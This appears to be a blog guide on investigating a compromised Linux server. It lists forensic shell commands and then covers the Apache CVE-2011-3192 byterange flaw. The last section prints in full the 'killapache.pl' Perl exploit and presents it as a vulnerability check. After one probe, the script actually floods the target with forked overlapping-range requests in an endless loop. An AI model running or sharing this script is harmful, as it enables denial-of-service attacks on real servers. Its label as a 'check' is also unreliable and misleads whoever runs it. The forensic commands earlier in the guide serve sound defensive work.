What should you do if the server you administered got hacked.

If you realized that your server has been compromised, this discovery will create confusion, reduce confidence and if the server is serving user requests, you have to declare down time. That's not good.

In order to restore service as quickly as possible, it is best if you have a server ready to replace instantly, that you can reduce the noise from the customers. But in order to prevent such attack coming in the future, you must at least identify how it happened and taking counter measurement.

In this article, we will learn how to discover, and then taking counter measure.

Quick solution.

Probably the quickest solution is to format and reinstall the operating system together with your applications that serve user requests. This probably is good if you do not have a backup server and you want to reinstate the server to serve user requests as soon as possible. But this does not solve the actual problem on how the hacked took place. Hence, it might happen again in the near future.

Long and workable solution.

1. identify your own custom application deployed and start to investigate from there.


2. update the system using package manager and restart system.


3. tighten up security

identify your own custom application deployed and start to investigate from there.

Because open source are mostly tested well and updated often, the first place you are going to investigate mostly come from your own application. Hence, you must at least have good understanding about your app and so to quickly identify source of problem.

Following are a sets of commands which might able to help you in your investigation.

• w
  who is on the server


• sudo netstat -nalp | grep ":22"
  change 22 to your application listen to. check if there is any abnormally.


• if you are using opensource for your custom applications, check the log as well. For which attacker will always find the exploit for the opensource softwares and started to target those.

update the system using package manager and restart system.

First you can start by checking.

• last
  check when was invalid last access.


• cat /var/log/secure* | grep Accept
  check invalid access.


• ps -elf
  check if the malware is running and if you spot one, get the process where it run from and delete all malware files.


• ls /tmp /var/tmp /dev/shm -la
  this directory normally allow process to write in, so you might want to check any fishy files here.


• file <filename>
  check what type of the file.


• cat /etc/passwd
  check if there is unknown entry which is not supposed to be there.


• sudo netstat -plant |awk ' /^tcp/ {split($7, a, "/"); print $6, a[2]}' |sort | uniq -c | sort -n| tail
  4 ESTABLISHED java
  4 LISTEN kadmind
  5 LISTEN java
  5 LISTEN python
  6 ESTABLISHED python
  if your server has been turned into a trojan, the malware will probably launching a lot of ddos, with this command, you should be able to identify if the cp connection has been spike.


• sudo netstat -plant | awk '$4 ~ /:22$/ {print $5}' | cut -f1 -d: | sort | uniq -c | sort -n
  1
  1 0.0.0.0
  2 192.168.0.2
  check total connection established to your server on port 22.


• sudo netstat -plant | awk '/^tcp/ {print $6}' | sort | uniq -c | sort -n
  2 CLOSING
  4 SYN_RECV
  5 LAST_ACK
  6 FIN_WAIT1
  12 LISTEN
  13 FIN_WAIT2
  344 TIME_WAIT
  977 ESTABLISHED
  check network states, this is a good information should your server suddenly spike in the state established or state syn. if there is any spike, you will know something maybe gone fishy.


• $HOME/.bash_history
  check every users bash_history to see if there is any suspect. If the server application run user a user id, especially check the bash_history in the user home directory.


• find / -mtime 5
  find what files has been changes since 5 days ago.

If there is nothing found, just update the system packages using package manager and reboot the system.

tighten up security and monitor

if you have a loose firewall policy (iptables or some hardware firewall), you should review it.

Prevention in the future would probably notify when the count of TCP connection exceed or suddenly spike to a threshold.

 

whilst these steps are not exhaustive, as evil people always come with different type attacks, thus you should be prepare and be alert. Gather information using google as well.

http vulnerability CVE-2011-3192

What is the vulnerable about?
The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, as exploited in the wild in August 2011, a different vulnerability than CVE-2007-0086. see [4] for more information.

What actually happen in the vulnerable system?
see the video [2] which show spike in the httpd processes in the system as well as consume a lot of cpu cycle and memory.

Has it been fixed?
yes, see [3]

What is the rpm for this fix?
to be exact, it is fixed in apache version 2.2.20 and it is available in the
2.2.3-53.el5.centos.1 rpm. for more information, see [5]

Is there a way to check if system is vulnerable?
yes, you can use this script.

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
print 'Apache Remote Denial of Service (memory exhaustion)';
print 'by Kingcope';
print 'usage: perl killapache.pl [numforks]';
print 'example: perl killapache.pl www.example.com 50';
}

sub killapache {
print 'ATTACKING $ARGV[0] [using $numforks forks]';

$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = '';
for ($k=0;$k<1300;$k++) {
$p .= ',5-$k';
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;

$x = '';
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');

$p = 'HEAD / HTTP/1.1Host: $ARGV[0]Range:bytes=0-$pAccept-Encoding: gzipConnection: close';
print $sock $p;

while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ':pPpPpppPpPPppPpppPp';
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');

$p = 'HEAD / HTTP/1.1Host: $ARGV[0]Range:bytes=0-$pAccept-Encoding: gzipConnection: close';
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
print 'host seems vuln';
return 1;
} else {
return 0;
}
}

if ($#ARGV < 0) {
usage;
exit;
}

if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
print 'Host does not seem vulnerable';
exit;
}

while(1) {
killapache();
}


[1] http://seclists.org/fulldisclosure/2011/Aug/281
[2] http://www.youtube.com/watch?v=3al1lsvFSpA
[3] https://bugzilla.redhat.com/show_bug.cgi?id=732928
[4] https://www.redhat.com/security/data/cve/CVE-2011-3192.html
[5] https://www.apache.org/dist/httpd/Announcement2.2.html